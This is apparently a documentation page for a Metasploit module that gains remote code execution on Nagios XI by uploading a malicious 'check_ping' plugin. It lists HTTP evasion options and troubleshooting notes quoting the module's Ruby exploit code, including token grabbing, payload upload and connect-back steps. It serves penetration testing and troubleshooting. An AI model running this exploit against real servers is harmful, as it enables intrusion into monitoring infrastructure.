HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Error Messages
- Failed to install Nagios XI on the target.
- Failed to sign the license agreement.
- Unable to obtain the Nagios XI version from the dashboard
- Connection failed while trying to visit `<MONITORING_PLUGINS_URL>`
- Unexpected response received while trying to visit `<MONITORING_PLUGINS_URL>`
- Failed to obtain the nsp token required to upload the payload
- Upload failed
- Failed to upload plugin.
- Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.
- Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.
- Target is vulnerable but this module does not support exploiting NagiosXI <VERSION> at this time.
- For NagiosXi version <VERSION> it may take serveral minutes for a session to open. If the module times out, try increasing the `WfsDelay` value.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to install Nagios XI on the target.
Here is a relevant code snippet related to the "Failed to install Nagios XI on the target." error message:
127: login_result, res_array = login_after_install_or_license(username, password, finish_install)
128: case login_result
129: when 1..3 # An error occurred
130: return CheckCode::Unknown(res_array[0])
131: when 4 # Nagios XI is still not fully installed
132: return CheckCode::Detected('Failed to install Nagios XI on the target.')
133: end
134: end
135:
136: # when 5 is excluded from the case statement above to prevent having to use this code block twice.
137: # Including when 5 would require using this code block once at the end of the `when 4` code block above, and once here.
Failed to sign the license agreement.
Here is a relevant code snippet related to the "Failed to sign the license agreement." error message:
145: login_result, res_array = login_after_install_or_license(username, password, finish_install)
146: case login_result
147: when 1..3
148: return CheckCode::Unknown(res_array[0])
149: when 5 # the Nagios XI license agreement still has not been signed
150: return CheckCode::Detected('Failed to sign the license agreement.')
151: end
152: end
153:
154: print_good('Successfully authenticated to Nagios XI')
155:
Unable to obtain the Nagios XI version from the dashboard
Here is a relevant code snippet related to the "Unable to obtain the Nagios XI version from the dashboard" error message:
156: # Obtain the Nagios XI version
157: @auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already
158:
159: nagios_version = nagios_xi_version(res_array[0])
160: if nagios_version.nil?
161: return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
162: end
163:
164: print_status("Target is Nagios XI with version #{nagios_version}")
165:
166: if /^\d{4}R\d\.\d/.match(nagios_version) || /^\d{4}RC\d/.match(nagios_version) || /^\d{4}R\d.\d[A-Ha-h]/.match(nagios_version) || nagios_version == '5R1.0'
Connection failed while trying to visit `<MONITORING_PLUGINS_URL>`
Here is a relevant code snippet related to the "Connection failed while trying to visit `<MONITORING_PLUGINS_URL>`" error message:
183: 'method' => 'GET',
184: 'cookie' => @auth_cookies
185: })
186:
187: unless res
188: fail_with(Failure::Disconnected, "Connection failed while trying to visit `#{@monitoring_plugins_url}`")
189: end
190:
191: unless res.code == 200 && res.body.include?('<title>Manage Plugins · Nagios XI</title>')
192: fail_with(Failure::UnexpectedReply, "Unexpected response received while trying to visit `#{@monitoring_plugins_url}`")
193: end
Unexpected response received while trying to visit `<MONITORING_PLUGINS_URL>`
Here is a relevant code snippet related to the "Unexpected response received while trying to visit `<MONITORING_PLUGINS_URL>`" error message:
187: unless res
188: fail_with(Failure::Disconnected, "Connection failed while trying to visit `#{@monitoring_plugins_url}`")
189: end
190:
191: unless res.code == 200 && res.body.include?('<title>Manage Plugins · Nagios XI</title>')
192: fail_with(Failure::UnexpectedReply, "Unexpected response received while trying to visit `#{@monitoring_plugins_url}`")
193: end
194:
195: @nsp = get_nsp(res)
196:
197: if @nsp.blank?
Failed to obtain the nsp token required to upload the payload
Here is a relevant code snippet related to the "Failed to obtain the nsp token required to upload the payload" error message:
193: end
194:
195: @nsp = get_nsp(res)
196:
197: if @nsp.blank?
198: fail_with(Failure::Unknown, 'Failed to obtain the nsp token required to upload the payload')
199: end
200: end
201:
202: def execute_command(cmd, _opts = {})
203: print_status("Uploading malicious 'check_ping' plugin...")
Upload failed
Here is a relevant code snippet related to the "Upload failed" error message:
215: 'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
216: 'data' => post_data.to_s
217: })
218:
219: unless res
220: fail_with Failure::Unreachable, 'Upload failed'
221: end
222:
223: unless res.code == 200 && res.body.include?('New plugin was installed successfully')
224: fail_with Failure::Unknown, 'Failed to upload plugin.'
225: end
Failed to upload plugin.
Here is a relevant code snippet related to the "Failed to upload plugin." error message:
219: unless res
220: fail_with Failure::Unreachable, 'Upload failed'
221: end
222:
223: unless res.code == 200 && res.body.include?('New plugin was installed successfully')
224: fail_with Failure::Unknown, 'Failed to upload plugin.'
225: end
226:
227: @plugin_installed = true
228: end
229:
Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.
Here is a relevant code snippet related to the "Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required." error message:
251: 'nsp' => @nsp
252: }
253: })
254:
255: unless res
256: print_warning("Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.")
257: return
258: end
259:
260: unless res.code == 200 && res.body.include?('Plugin deleted')
261: print_warning("Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.")
Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.
Here is a relevant code snippet related to the "Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required." error message:
256: print_warning("Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.")
257: return
258: end
259:
260: unless res.code == 200 && res.body.include?('Plugin deleted')
261: print_warning("Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.")
262: return
263: end
264:
265: print_good('Plugin deleted.')
266: end
Target is vulnerable but this module does not support exploiting NagiosXI <VERSION> at this time.
Here is a relevant code snippet related to the "Target is vulnerable but this module does not support exploiting NagiosXI <VERSION> at this time." error message:
269: @monitoring_plugins_url = normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php')
270: grab_plugins_nsp
271: wfsdelay = datastore['WfsDelay']
272:
273: if @version < Rex::Version.new('5.2.0')
274: fail_with(Failure::NoTarget, "Target is vulnerable but this module does not support exploiting NagiosXI #{@version} at this time.")
275: end
276: if target.arch.first == ARCH_CMD
277: execute_command(payload.encoded)
278: message = "Waiting up to #{wfsdelay} seconds for the payload to connect back..."
279: else
For NagiosXi version <VERSION> it may take serveral minutes for a session to open. If the module times out, try increasing the `WfsDelay` value.
Here is a relevant code snippet related to the "For NagiosXi version <VERSION> it may take serveral minutes for a session to open. If the module times out, try increasing the `WfsDelay` value." error message:
279: else
280: execute_cmdstager(background: true)
281: message = "Waiting up to #{wfsdelay} seconds for the plugin to request the final payload..."
282: end
283: if @version >= Rex::Version.new('5.2.0') && @version < Rex::Version.new('5.5.0')
284: print_warning("For NagiosXi version #{@version} it may take serveral minutes for a session to open. If the module times out, try increasing the `WfsDelay` value.")
285: end
286: print_good('Successfully uploaded plugin.')
287: execute_payload
288: print_status(message)
289: end
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Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/nagios_xi_scanner
- exploit/linux/http/nagios_xi_autodiscovery_webshell
- exploit/linux/http/nagios_xi_chained_rce
- exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo
- exploit/linux/http/nagios_xi_magpie_debug
- exploit/linux/http/nagios_xi_mibs_authenticated_rce
- exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce
- exploit/linux/http/nagios_xi_snmptrap_authenticated_rce
- exploit/linux/misc/nagios_nrpe_arguments
- exploit/unix/webapp/nagios_graph_explorer
- exploit/unix/webapp/nagios3_history_cgi
- exploit/unix/webapp/nagios3_statuswml_ping
- post/linux/gather/enum_nagios_xi
- exploit/linux/http/axis_app_install
- exploit/linux/http/axis_srv_parhand_rce
- exploit/linux/http/zimbra_mboximport_cve_2022_27925
- exploit/linux/http/dlink_dcs_930l_authenticated_remote_command_execution
- exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection
- exploit/linux/local/exim4_deliver_message_priv_esc
- exploit/linux/smtp/exim4_dovecot_exec
- exploit/linux/smtp/exim_gethostbyname_bof
- exploit/linux/ssh/quantum_dxi_known_privkey
- exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
Related Nessus plugins:
Authors
- Jak Gibb
- Erik Wynter
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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